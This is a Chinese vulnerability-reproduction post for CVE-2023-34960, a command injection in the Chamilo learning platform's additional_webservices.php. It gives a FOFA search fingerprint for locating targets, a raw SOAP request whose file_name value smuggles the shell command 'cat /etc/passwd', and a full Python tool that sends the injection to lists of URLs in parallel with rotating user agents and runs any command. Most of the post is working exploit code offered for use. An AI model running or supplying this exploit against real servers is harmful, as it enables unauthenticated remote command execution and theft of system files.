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【漏洞复现】CVE-2023-34960-Chamilo

【漏洞复现】CVE-2023-34960-Chamilo

工具地址

https://github.com/Pari-Malam/CVE-2023-34960

漏洞介绍

Chamilo 是一个电子学习平台,也称为学习管理系统 (LMS)。Chamilo additional_webservices.php存在命令执行漏洞。

fofa指纹

1
"Chamilo"

版本

Chamilo <=1.11.18

复现

image-20230811194649111

poc

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POST /main/webservices/additional_webservices.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-Length: 880
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip, deflate

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://mail.cosecadvirtual.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

工具备份

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# Author: Pari Malam

import argparse
import random
import warnings
import requests
import os
import xml.etree.ElementTree as ET
from sys import stdout
from concurrent.futures import ThreadPoolExecutor
from colorama import Fore, Style

warnings.filterwarnings("ignore")

FY = Fore.YELLOW
FG = Fore.GREEN
FR = Fore.RED
FC = Fore.CYAN
FW = Fore.WHITE

def clear():
os.system('clear' if os.name == 'posix' else 'cls')

def mkdir():
if not os.path.exists('Results'):
os.mkdir('Results')

def banners():
clear()
stdout.write(" \n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██████╗ ██████╗███████╗ ██╗ ██████╗ \n")
stdout.write(""+Fore.LIGHTRED_EX +"██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝ ██║██╔═══██╗\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██████╔╝███████║██║ ███╗██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ █████╗ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"██████╔╝██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██║ ╚██████╔╝██║ ██║╚██████╗███████╗██╗██║╚██████╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ \n")
stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════════════════════\n")
stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/PARI-MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n")
print(f"{FY}[CVE-2023-34960] - {FG}Unauthenticated Command Injection\n{Style.RESET_ALL}")
banners()

def users_agents():
with open("lib/ua.txt", "r") as ua_file:
user_agents = ua_file.readlines()
user_agents = [ua.strip() for ua in user_agents if ua.strip()]
return user_agents


def chamilo(url, command, user_agents):
url = "http://" + url.strip("/")
body = f'''<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{url}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:wsConvertPpt>
<param0 xsi:type="ns2:Map">
<item>
<key xsi:type="xsd:string">file_data</key>
<value xsi:type="xsd:string"></value>
</item>
<item>
<key xsi:type="xsd:string">file_name</key>
<value xsi:type="xsd:string">`{{}}`.pptx'|" |{command}||a #</value>
</item>
<item>
<key xsi:type="xsd:string">service_ppt2lp_size</key>
<value xsi:type="xsd:string">720x540</value>
</item>
</param0>
</ns1:wsConvertPpt>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''

headers = {'Content-Type': 'text/xml', 'User-Agent': random.choice(user_agents)}

try:
r = requests.post(f'{url}/main/webservices/additional_webservices.php', data=body, headers=headers, verify=False, timeout=5)
except Exception as e:
print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Invalid {Style.RESET_ALL}")
return None

if r.status_code == 200:
try:
pwned = ET.fromstring(r.text)
except ET.ParseError:
print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Invalid XML Response{Style.RESET_ALL}")
return None

tagged = pwned.find('.//return')
if tagged is not None:
content = tagged.text
print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FG}[w00t!] - {FC}Vulnerable: {FW}{content}{Style.RESET_ALL}")
return content
else:
print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Not found on execution. Check manually.{Style.RESET_ALL}")
return None

return None



def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL address (without 'http://' prefix)")
parser.add_argument("-f", "--filename", help="File containing URLs")
parser.add_argument("-c", "--command", help="Command to execute (optional)")
parser.add_argument("-t", "--threads", type=int, default=10, help="Maximum number of concurrent threads")
parser.add_argument("-o", "--output", help="Output file for saving the results")
args = parser.parse_args()

command = args.command or 'uname -a' or 'whoami'

if args.filename:
with open(args.filename, "r") as url_file:
urls = url_file.readlines()
urls = [url.strip() if url.startswith(("http://", "https://")) else url.strip() for url in urls]
elif args.url:
urls = [args.url]
else:
parser.error(f"{FR}Whut are you doin bro?")

max_workers = args.threads

user_agents = users_agents()

results = []
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = [executor.submit(chamilo, url, command, user_agents) for url in urls]

for future, url in zip(futures, urls):
result = future.result()
if result:
results.append((url, result))
else:
print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Not Vulnerable{Style.RESET_ALL}")

if args.output:
with open(args.output, "a") as file:
for url, result in results:
file.write(f"URL: {url}\nResult: Results/{result}\n\n")


if __name__ == '__main__':
main()